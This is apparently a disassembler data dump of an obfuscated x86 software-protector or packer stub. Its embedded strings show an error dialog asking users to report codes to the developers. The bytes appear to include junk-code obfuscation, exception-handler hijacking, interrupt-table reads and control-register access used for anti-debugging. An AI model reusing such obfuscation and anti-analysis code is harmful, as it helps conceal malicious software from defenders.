0F01FF68h dd 0DBD8B00h, 83061315h, 131505BDh, 840F0006h, 1Ch, 8DD0B70Fh dd 15F3C485h, 41858906h, 0E9061300h, 11h, 0BD8BF98Bh, 6133265h dd 0F39A858Dh, 0EA800615h, 0B5FF50B9h, 615F367h, 0F35F95FFh dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 67CA45C3h, 62EC2544h, 9BD9D89h, 85890613h dd 615F36Bh, 94DBD8Bh, 0B5FF0613h, 615F36Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E3C35040h, 0D649584Bh dd 0CAD028A7h, 5B95FF04h, 310615F3h, 130E918Dh, 218D8906h dd 0FF061328h, 15F36BB5h, 5E906h, 0FE200000h, 0FFBA69B8h dd 13013D95h, 0F8B70F06h, 0FFF71EE9h, 816657FFh, 597187F1h dd 0FEB4B5FFh, 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0D4059C3h, 0FEF8166h, 8995FFB2h dd 8906131Dh, 13095595h, 95858B06h, 0BA06131Bh, 13854D3Fh dd 55DE9h, 318D8900h, 8D06130Ch, 15F669B5h, 4D858D06h dd 6A0615A3h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0B7E4C356h, 0EF92B2BFh, 0E9D0FF3Ah dd 0Ch, 5B7CEF16h, 8EB447C5h, 69908EFFh, 958B006Ah, 6130935h dd 1CBD95FFh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 232FC9C3h, 0C4325F54h, 0E580A830h dd 8B64B2FDh, 6E9F3h, 8D5D0000h, 0B2BF0AB3h, 0A34D858Dh dd 9D890615h, 61321B9h, 0CE8h, 0E409C100h, 37C44795h, 17901C23h dd 5E96Bh, 3F8B0000h, 5A31433Fh, 0BE9D0FFh, 2C000000h dd 0AD315863h, 64CB702Ch, 6ABC4Dh, 12F1BD8Bh, 95FF0613h dd 6131CBDh, 8BD18B66h, 0BD83F8C0h, 6131625h, 83097500h dd 132C81BDh, 19740006h, 0C08B5350h, 7D9B8h, 7D858900h dd 8D06130Dh, 15A97D9Dh, 5BD3FF06h, 81BD8358h, 6132Ch dd 53501774h, 7D9B8h, 7D858900h, 8D06130Dh, 15A66C9Dh dd 5BD3FF06h, 99958958h, 0F06131Eh, 686h, 33E78100h, 8B306AE0h dd 50F78AC0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 97C35545h, 892B7EC3h, 1321498Dh, 1D88B06h, 131E619Dh dd 9D8D5306h, 613065Dh, 389038Bh, 8950438Bh, 9D8D5043h dd 615FE4Dh, 389038Bh, 0CC6FB95Bh, 8B6670DEh, 0F006ACFh dd 8D8BCBBFh, 6131145h, 0FE4D858Dh, 50F90615h, 16E19D89h dd 606A0613h, 31619589h, 858D0613h, 613065Dh, 50D78B66h dd 8D8B90B1h, 61316B5h, 0B70F006Ah, 8B006ACBh, 1331E58Dh dd 18006806h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 8971D6C3h, 132301BDh, 8B505306h dd 1305ED95h, 95FF5F06h, 6130C51h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 6DC35646h, 0C09EA5C4h, 58F021AAh dd 0FFD2B70Fh, 13120995h, 158D8B06h, 0FF061309h, 15FEB4B5h dd 698D8B06h, 0FF06132Bh, 131D8995h, 0C9853106h, 8D06131Ah dd 13065D85h, 29958B06h, 8B06131Dh, 6A1840h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0FC76B9C3h dd 0F962CDC3h dd 0AA585C7h, 613h, 80560000h, 835A7BCDh, 131505BDh, 840F0006h dd 47h, 31458D8Bh, 8C3D0613h, 0F000000h, 1B583h, 12D98100h dd 0E9343B7Fh, 3Ch, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0EAC35141h, 0F1EC42F5h, 8B74D173h, 13349DBDh dd 3DF88B06h, 98h, 174830Fh, 8D8B0000h, 6130781h, 243B858Dh dd 6A005Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0D0FF6CC3h, 2B2D8501h, 858D0613h, 5B1E8Eh dd 0DDC18166h, 0D18B66B1h, 6AD0FFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0FD4921C3h dd 38C47AB3h, 758D8B0Dh, 8B061310h, 0FE8B66C0h, 1625BD83h dd 75000613h, 81BD8309h, 6132Ch, 53501974h, 0C6B8C08Bh dd 8900000Bh, 130D7D85h, 7D9D8D06h, 0FF0615A9h, 83585BD3h dd 132C81BDh, 17740006h, 0C6B85350h, 8900000Bh, 130D7D85h dd 6C9D8D06h, 0FF0615A6h, 8B585BD3h, 1309EDBDh, 0CA8B6606h dd 5E8C08Bh, 9B000000h, 0F4883E76h, 0FFF8835Ah, 7C850Fh dd 0C7F50000h, 13233985h, 6, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 11BE913h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 3F8EF4C3h, 46FABCD8h, 860FC1A9h, 0 dd 0E9CBB70Fh, 38h, 3161B509h, 13E90613h, 95000000h, 0CA6BE949h dd 4F48F7ADh, 0D0C93B7Ch, 0D4994965h, 0F883DA1Fh, 11850F01h dd 8B000000h, 132A0595h, 108E906h, 8D8B0000h, 6130005h dd 0FFF272E9h, 0C08BFCFFh, 0BD83F88Bh, 6131625h, 83097500h dd 132C81BDh, 19740006h, 0C08B5350h, 7DDB8h, 7D858900h dd 8D06130Dh, 15A97D9Dh, 5BD3FF06h, 81BD8358h, 6132Ch dd 53501774h, 7DDB8h, 7D858900h, 8D06130Dh, 15A66C9Dh dd 5BD3FF06h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 804D6034h, 80F86458h, 6AD4EDh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 34D032C3h, 0EE44DA86h, 0B235BD32h, 8BC08B6Bh, 1323858Dh dd 24AE906h, 0FC510000h, 51858D59h, 10615FCh, 1320358Dh dd 49858906h, 890615FEh, 13225D95h, 7EE906h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 5CEE06C3h, 0D6EB0F95h, 8E0FCD61h, 6, 9CC9D781h, 0B557654Fh dd 858D5935h, 615FA59h, 0EE9h, 0CFB3A000h, 0D50F1FEFh dd 95360899h, 4068D261h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 62C35141h, 10A1E834h, 76D73FB3h, 0FE498589h dd 85890615h, 6130BE9h, 858D346Ah, 6132AA5h, 49B5FF50h dd 6A0615FEh, 5595FF00h, 83061301h, 840F07F8h, 168h, 0F6DB8C66h dd 850F04C3h, 102h, 11E185C6h, 68560613h, 9CA8B852h, 116DB5FFh dd 858D0613h, 6133AADh, 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h dd 15FEBC85h, 0E185C606h, 47061311h, 18AC9B68h, 6DB5FFECh dd 8D061311h, 133AAD85h, 0FFD0FF06h, 0C6F08BD0h, 1311E185h dd 61684F06h, 0FFC62F26h, 1307C9B5h, 0AD858D06h, 0FF06133Ah dd 0B89D8DD0h, 530615FEh, 0FF56286Ah, 75C085D0h, 0E185C600h dd 41061311h, 87649868h, 0C9B5FFDBh, 8D061307h, 133AAD85h dd 89D0FF06h, 15FED585h, 0E185C606h, 4C061311h, 0A4E7A468h dd 0C9B5FF80h, 8D061307h, 133AAD85h, 8BD0FF06h, 15FEBC9Dh dd 45B8D06h, 0C19D8D53h, 530615FEh, 0D0FF006Ah, 0FEBC9D8Bh dd 3C70615h, 1, 20C43C7h, 8B000000h, 131AB99Dh, 0F185C706h dd 61304h, 6A000000h, 6A006A00h, 0BC9D8B00h, 530615FEh dd 0B5FF006Ah, 615FEB8h, 0FED595FFh, 85C60615h, 61311E1h dd 0F7976845h, 0B5FF92A5h, 61310D1h, 3AAD858Dh, 0D0FF0613h dd 26A006Ah, 8C66D0FFh, 4C3F6DBh, 9D8B3275h, 615FEBCh dd 0C43C7h, 6A000000h, 8B006A00h, 15FEBC9Dh, 6A5306h, 0FEB8B5FFh dd 95FF0615h, 615FED5h, 0FEB8B5FFh, 95FF0615h, 6131209h dd 95FF006Ah, 6131CBDh, 0CE9h, 79E63800h, 0A2C674F7h, 0D0FD14BAh dd 7692BF89h, 85896893h, 6130AF1h, 30FA858Dh, 0F520616h dd 505FD3BFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 36C35343h, 820F51A9h, 8, 2880Fh, 0FE8B0000h, 35FF64h dd 8B000000h, 130EF195h, 25896406h, 0 dd 83CEBF0Fh, 131F95BDh, 840F0006h, 53h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 17h, 0D5C35242h, 83FF45A5h dd 13173DBDh, 850F0106h, 27h, 16FDBD8Bh, 0B70F0613h, 0D5BD80F9h dd 61602h, 11850Fh, 0BA660000h, 4CE9F622h, 57000001h, 0B107D181h dd 335F49B2h, 0D38B66DBh, 40FCC033h, 0B073F0Fh, 58F64h dd 83000000h, 8F0F04C4h, 1, 7DE980F5h, 35158D29h, 0FB830613h dd 1F840FFFh, 0F000000h, 0A86h, 8C0F6000h, 0 dd 5161F88Bh, 1175BD0Bh, 0E95F0613h, 0EDh, 89E9FA8Bh, 0E8000000h dd 5, 784338EAh, 9589601Dh, 6130CF9h, 5A61D18Bh, 0C244C8Bh dd 0A481C7h, 0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h, 0C245C8Bh dd 0E855h, 815D0000h, 16311CEDh, 0B8838B06h, 8D000000h dd 1631D585h, 0B8838906h, 5D000000h, 0E8C3C033h, 9, 0D268BC9h dd 0B13ED15Dh, 8E804h, 8F2B0000h, 7613135Eh, 616030A6h dd 11E9595Fh, 0C1000000h, 9FA94C80h, 0DEE24596h, 0CEBB2C5Eh dd 0CCE2736Ch, 3112858Dh, 85290616h, 613053Dh, 9E950h dd 96CF0000h, 0AC9CBEB5h, 64322A20h, 35FFh, 85290000h dd 6132051h, 258964h, 89000000h, 1304F5B5h, 0AB906h, 4B80000h dd 54855D7h, 0DF78164h, 85D465BBh, 0B640BA86h, 0EA810034h dd 345FE8h, 68FB81EDh, 75564D58h, 0A585C70Ah, 1061312h dd 64000000h, 58Fh, 0C4830000h, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 614B2A4Bh dd 42C56CA8h, 0FC2BDD80h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 7B61FCC3h, 26F4D604h dd 8D31DEE0h, 61316B5h, 0BD8367B2h, 6131625h, 83097500h dd 132C81BDh, 19740006h, 0C08B5350h, 43DB8h, 15858900h dd 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h, 6132Ch dd 53501774h, 43DB8h, 15858900h, 8D061331h, 15A6859Dh dd 5BD3FF06h, 6DBD0358h, 66061301h, 957FCF81h, 1FAD8D8Bh dd 0C08B0613h, 147E9h, 400h, 392E3100h, 3031h, 6 dup(0) dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h dd 20202020h, 25203D20h, 0D0A64h, 2345BD83h, 0F000613h dd 12D84h, 9C858D00h, 500615A4h, 0A406858Dh, 68500615h dd 80000001h, 0A4AC95FFh, 858D0615h, 6163297h, 0A1858D50h dd 50061632h, 6A006Ah, 0A41A858Dh, 0FF500615h, 15A49CB5h dd 9195FF06h, 8D061311h, 16329785h, 858D5006h, 61632A5h dd 6A006A50h, 2C858D00h, 500615A4h, 0A49CB5FFh, 95FF0615h dd 6131191h, 3297858Dh, 8D500616h, 1632B185h, 6A5006h dd 858D006Ah, 615A479h, 9CB5FF50h, 0FF0615A4h, 13119195h dd 97858D06h, 50061632h, 32B9858Dh, 6A500616h, 8D006A00h dd 15A49785h, 0B5FF5006h, 615A49Ch, 119195FFh, 858D0613h dd 6163297h, 0B5858D50h, 50061632h, 6A006Ah, 0A480858Dh dd 0FF500615h, 15A49CB5h, 9195FF06h, 8D061311h, 16329785h dd 858D5006h, 61632A9h, 6A006A50h, 88858D00h, 500615A4h dd 0A49CB5FFh, 95FF0615h, 6131191h, 3297858Dh, 8D500616h dd 1632AD85h, 6A5006h, 858D006Ah, 615A48Fh, 9CB5FF50h dd 0FF0615A4h, 13119195h, 9CB5FF06h, 0FF0615A4h, 1331CD95h dd 0A2E906h, 0BD830000h, 613316Dh, 95840F00h, 83000000h dd 13173DBDh, 850F0006h, 11h, 29C5958Bh, 0C2810613h, 1CF8h dd 0FE9h, 5D958D00h, 8B061306h, 0C2813452h, 3BD4C340h dd 206D9589h, 0BD830613h, 613206Dh, 55840F00h, 8B000000h dd 13206D9Dh, 4CC38306h, 8589038Bh, 61632A1h, 206D9D8Bh dd 0C3830613h, 89038B50h, 1632A585h, 6D9D8B06h, 83061320h dd 38B54C3h, 32B18589h, 9D8B0616h, 613206Dh, 8B58C383h dd 0B5858903h, 8B061632h, 13206D9Dh, 5CC38306h, 8589038Bh dd 61632A9h, 2345BD83h, 0F000613h, 0D85h, 6DBD8300h, 61331h dd 68840Fh, 0B5FF0000h, 61632B9h, 32ADB5FFh, 0B5FF0616h dd 61632A9h, 32B5B5FFh, 0B5FF0616h, 61632B1h, 32A5B5FFh dd 0B5FF0616h, 61632A1h, 329B858Dh, 8D500616h, 1632D385h dd 858D5006h, 6132609h, 8595FF50h, 83061311h, 406A24C4h dd 32BD858Dh, 8D500616h, 13260985h, 6A5006h, 15595FFh dd 16A0613h, 1CBD95FFh, 0C18B0613h, 0F31718EBh, 9B46h dd 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 6163667h dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 9FB58BFFh, 81061636h, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 0A3B53B00h dd 0F061636h, 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h dd 24C88C66h, 0FC00A03h, 1984h, 0BB535000h, 2, 206D858Bh dd 18860613h, 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h dd 0FFFFFFCFh, 2474FF50h, 1D95FF08h, 50061311h, 244C010Fh dd 0C08358FEh, 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h dd 324C88Ch, 840FC00Ah, 9, 206D858Bh, 0C60613h, 4FF5800h dd 4C224h, 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h dd 3884h, 2BB00h, 858B0000h, 613206Dh, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 61328D5h, 0 aLdLs db '‹D$',8,'‹˜',0 db 10h dd 98890000h, 1000h, 1889188Bh, 0AE9h, 0D585C700h, 61328h dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh, 840F003Eh dd 31h, 3AB7A1BBh, 0B101B076h, 13E901h, 8AAC0000h, 32C302C8h dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah, 0FFFFE585h, 0FD20BFFh dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h dd 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h, 8A37465Ah dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh, 0BB60C35Bh dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h, 850FD20Bh dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 4485C700h dd 1061636h, 50000000h, 244C010Fh, 48858FFEh, 8D061636h dd 16364085h, 48BD8D06h, 89061636h, 23E938h, 858D0000h dd 613065Dh, 538408Bh, 9B46F317h, 36408589h, 858D0616h dd 613065Dh, 893C408Bh, 16364485h, 5D858D06h, 89061636h dd 13111D85h, 87E906h, 8B520000h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h dd 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h, 0D8321334h dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh, 8C25A5Eh dd 0D0858D00h, 89061638h, 13204585h, 0F8858D06h, 89061638h dd 1322D585h, 20858D06h, 89061639h, 130EE585h, 6A6006h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0F8D12FC3h, 0E912AE5Dh, 0E836434Eh, 0Ah, 478F0A23h dd 5D4EF3Eh, 8B603460h, 4631BECFh, 5E610E7Fh, 0DE9C08Bh dd 9B000000h, 68E000AEh, 6068C60Ah, 586CAD71h, 1625BD83h dd 75000613h, 81BD8309h, 6132Ch, 53501974h, 0EB8C08Bh dd 89000004h, 130D7D85h, 7D9D8D06h, 0FF0615A9h, 83585BD3h dd 132C81BDh, 17740006h, 0EB85350h, 89000004h, 130D7D85h dd 6C9D8D06h, 0FF0615A6h, 6A585BD3h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 5E83C351h dd 0A133683Fh, 0FC973E9h, 8B66C9BFh, 50006AC8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BF0F741Ch dd 8BC08BF6h, 95BD83C8h, 6131Fh, 0A840Fh, 0D9800000h, 247E9FFh dd 0D38B0000h, 0CE81DF8Ch, 4FFA59Ch, 4C7F766h, 32850F00h dd 6A000002h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 6C1AC355h, 80A221Fh, 0CFC180F1h dd 55F9B5BAh, 5BD8341h, 61315h, 34850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 23E642C3h, 0E99CAA3Dh, 1D5h, 8800Fh, 81570000h, 0A71403D1h dd 0FF2B5A4Ch, 0F28B5956h, 3C9C9D8Dh, 0E6810616h, 78740B6Dh dd 0FE9h, 8202E000h, 0C0589C2Ah, 72797BA4h, 5491DAF5h dd 683FBE93h, 0B25062D8h, 0F18B939Ch, 35FF64h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0C9FAC357h, 69F7D471h, 8964B0AFh, 25h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 88EC8B5Fh, 0C48BFAB5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 60C35141h, 460F580h, 0D08B66A5h, 0EB01CDh dd 20B9D68Bh, 6A6AD6D9h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 2C31C351h, 0BAF2BF0Fh dd 1E2E59E5h, 58F64h, 0B5000000h, 83F18B22h, 6A04C4h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 5CB4ADC3h, 0EA81669Bh, 0C00BD600h, 0B3840Fh, 8B660000h dd 6A61D3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0E23D2BC3h, 607AB626h, 0B6D18166h, 61FA8BC5h dd 7533BD8Dh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0C27EC8C3h, 0F7AC2B5h, 1880h, 8C0F6000h dd 0 dd 0AE8h, 40794900h, 55699DEDh, 595A2502h, 1B861h, 880F0000h dd 3, 0FFD7B70Fh, 5FBF60E7h, 0B078BD77h, 8B576116h, 8B10245Ch dd 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h dd 0C3C0335Fh, 8B66F38Bh, 6A61CAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0FC06CCC3h, 0CBB70FF3h dd 8BF78B66h, 12E8C0h, 1F430000h, 49BFA773h, 8BD3B033h dd 0E22CB7D0h, 3668CC3Fh, 4840Fh, 0BA660000h, 835AEFB9h dd 131625BDh, 9750006h, 2C81BD83h, 74000613h, 8B535019h dd 40EB8C0h, 85890000h, 6133115h, 0A9E49D8Dh, 0D3FF0615h dd 0BD83585Bh, 6132C81h, 50177400h, 40EB853h, 85890000h dd 6133115h, 0A6859D8Dh, 0D3FF0615h, 0D78B585Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BAC35040h, 0BECF7CE3h dd 8B7869F6h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0A0A30D64h, 50AB588Dh, 0D08B4BA4h dd 0EE8C28Bh, 0E6000000h, 67D2A678h, 0BD378EDCh, 0FB3B6628h dd 5F67B274h, 0BE9h, 5E638A00h, 0BFAB359Fh, 4811682Dh dd 6C41C781h, 0B3560000h, 0EEBE5BAFh, 0E900001Ah, 0Dh dd 6917AE88h, 0F6A5AC8Fh, 6CD9FE6h, 0E937FF53h, 5, 60CC37C7h dd 81F559B5h, 0EFFA39F1h, 81D88B0Ch, 215216E9h, 6D38120h dd 811601A7h, 0E9A219E9h, 89F88A26h, 6E90Fh, 0AF060000h dd 0F3CC9857h, 0BA04EF83h, 17C6CA2Eh, 1EE81h, 850F0000h dd 0FFFFFFB5h, 8EBh, 0 dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h dd 613173Dh, 700C858Dh, 88B0616h, 1000888Bh, 0A8B0000h dd 0FC4A8B66h, 3E408D89h, 0BD830616h, 6131505h, 0F840F00h dd 60000000h, 95FF006Ah, 6130DA9h, 0FFC4E961h, 8966FFFFh dd 0CEC1FC72h, 72896610h, 4CD5202h, 3C85895Ah, 8B06163Eh dd 163E40B5h, 10CEC106h, 2728966h, 3E40B58Bh, 89660616h dd 8B61FC72h, 163E3C85h, 958DC306h, 6132D31h, 206D9589h dd 95890613h, 6130F55h, 0F5585FFh, 85C60613h, 61311E1h dd 48D86853h, 0B5FFFCB1h, 613116Dh, 3AAD858Dh, 0D0FF0613h dd 0DA98589h, 858D0613h, 6163677h, 0D098589h, 20EB0613h dd 8 dup(0) dd 5F6E9h, 5EAE900h, 0CC680000h, 0E9061640h, 0FFFD4224h dd 16419068h, 421AE906h, 0C668FFFDh, 0E9061643h, 0FFFD4210h dd 16442668h, 4206E906h, 0CD19FFFDh, 0B7072989h, 0BF113797h dd 0B6052B8Bh, 0C7163C9Ah, 31FE2D8Dh, 0E7C78DDCh, 0FFDF73C1h dd 0E4C286D9h, 0C1E16BBEh, 2CA6D7F8h, 0F516B3F4h, 6BBDC29Ch dd 9FFF8EDFh, 0F6909DB4h, 3FFD1F9Ch, 0A72341EDh, 3Dh, 0BDE5C2BBh dd 1571E06Ch, 0DE109DB5h, 77D635BFh, 0B8109DB5h, 0C40C3E92h dd 0B6157178h, 8B8BED47h, 90C5E216h, 0A877636h, 0E473D56Ah dd 88CA17A1h, 4C045334h, 536E4C2Dh, 33h, 0F2DDC2EFh, 0E2F31ADEh dd 30AEDDE7h, 71109EAFh, 0AEC31F4Eh, 98C109Eh, 273612A5h dd 87E2DEE6h, 0C3A2A83Ch, 863771E4h, 59BC168Ch, 0E7765C79h dd 0BDF9636Dh, 518EDF6Bh, 6C74D869h, 624BBA1Dh, 62D7FB6Fh dd 912E1CB0h, 0B4E33FAEh, 69AC909Dh, 2935715Fh, 85057857h dd 0C6909DA4h, 0A51A74E9h, 2253909Dh, 909DA4A8h, 0FE1F2C71h dd 451479F6h, 5AB42906h, 23909DA5h, 65F8DAE2h, 76E7C8E7h dd 909DA51Ch, 3A18A0E5h, 4A3E3FEh, 0A0B0FF23h, 94A4E918h dd 98FD968Eh, 8DDA38C9h, 0D5318A8Ah, 3F783864h, 86E0DAADh dd 76000000h, 1670E5C2h, 0DF109DB5h, 86CC1CBEh, 9FE7023Eh dd 8B94CD40h, 5A45168Bh, 1BAB8E5Dh, 0C421AB2Bh, 0ED406241h dd 6302489Ch, 98F26344h, 610A871Ah, 84A6B43Ch, 0A5661B31h dd 0BE80021Bh, 392322Fh, 3D890000h, 4797B919h, 2F81A707h dd 4695BB1Bh, 3786AC0Ah, 0A18EBD1Dh, 7757FD4Ch, 6F4F0351h dd 7452F649h, 7151FB4Eh, 9CF66768h, 6516B3F4h, 0E5C2122Ch dd 9DB51670h, 6EFBDF10h, 223D87E6h, 350h, 1C6BBDC0h, 0DD71C1CAh dd 0D6CADBCh, 29A691AEh, 834FEF85h, 8F7CD687h, 40B5109Eh dd 109E8EC6h, 0DC410E8Fh, 0A6245514h, 95109E8Eh, 109E8EB5h dd 9E8F27A4h, 8EB41210h, 23A3109Eh, 12109E8Fh, 0D09E8EB4h dd 0DCFB8BD6h, 6F2767F6h, 6491919Ch, 0BF9C2445h, 892FB14Eh dd 0E5FBE56h, 0B80CB7B2h, 0B2A03092h, 4CBF4D3h, 0BBC210F0h dd 5283D018h, 5079408Fh, 0C170E528h, 0C6B9F02Ah, 2CE2A27h dd 14D0000h, 3537555h, 0F3456B4Bh, 2517757h, 0FB4A704Eh dd 0E54A7959h, 0BB1B3988h, 0AB0B4795h, 0B8163285h, 0AD0D3F92h dd 0D04ABBA4h, 9916B3F5h, 0E0C2DE80h, 98BA0250h, 5FF54445h dd 0D1EE8F0Eh, 4351BDE6h, 5B677FADh, 76E8BD91h, 9E4D97F6h dd 0A03F47A2h, 0F16DA0BFh, 0BA109E9Eh, 6A0B4998h, 75AD2362h dd 2B6A168Ch, 5EB7A38Ch, 0DDEC2F51h, 620C1004h, 0C71170ADh dd 7715A789h, 88178C06h, 3A6A550Ah, 5C05C65Bh, 0F2D1B0D1h dd 3AC6D2CDh, 99712BA3h, 69766778h, 99B70160h, 84296BCh dd 0BE10D839h, 9A851A6Ah, 0BAF06A9Bh, 54B90A87h, 104AB66Fh dd 9DC4E071h, 4D9BCAE9h, 6A1075E2h, 0CBBE184Dh, 6870471h dd 0CEEC31BEh, 71CC3F9Fh, 7E086104h, 3B597E61h, 4896D905h dd 355B43Ch, 0B80A6060h, 1547655h, 4A1B3988h, 2B0CAACBh dd 4A7DD90Ch, 0C746FE5Ch, 0C28ADBFDh, 49940273h, 4B96FE5Ch dd 4ABB9C3Bh, 0FE5C48D0h, 6F6C7499h, 0C3696750h, 5E3D5ABh dd 78F04CBBh, 187D044Ah, 21B39CBBh, 8E79FBDEh, 0C41D48A3h dd 7819D2B9h, 0BECB5E70h, 3051E06Ah, 6E547151h, 0A3E273DDh dd 0A6A63719h, 4092B897h, 0FCDE3F0Eh, 0AFDEE66Ch, 0F846033Fh dd 44982841h, 71EAC4A4h, 0BB2A89E8h, 0FE346B6Dh, 0F6DCFB1Ah dd 3958E963h, 9D85A2AFh, 292E3F0Bh, 1D272AE9h, 1CA4C58Eh dd 4FE2A73Ah, 4C2D6CFDh, 53F94C6Eh, 0A8225374h, 71F23003h dd 0E745A42Ch, 0B6278402h, 0F81DDB7Eh, 0DD6E5473h, 0C4880273h dd 0E51EC19h, 19C483DFh, 0A8C94CECh, 0F342C320h, 19C40482h dd 60EE40ECh, 0F05CEDD1h, 0C8412B61h, 17A14DDh, 3DE51DDBh dd 16C578h, 70990000h, 109DAA12h, 1155h, 24597600h, 109D97AAh dd 10CA1273h, 9DAF1270h, 0BEA3D610h, 0CD9CB805h, 0A4FE6F4Ch dd 6D109DB4h, 4D6A4928h, 677D365h, 109DB48Ch, 0B53690C5h dd 9EFF109Dh, 57844CD1h, 8B8BB226h, 912E6F16h, 0AE361AA9h dd 9EE8013Fh, 7A9DCC41h, 4FCE1078h, 0EF6A251Ah, 0BA975679h dd 98h, 0BF1F3783h, 0A5054999h, 0B9193183h, 0AA084897h dd 0BB1B3988h, 0F746A788h, 0D5B7D5Dh, 0F0436545h, 5587A58h 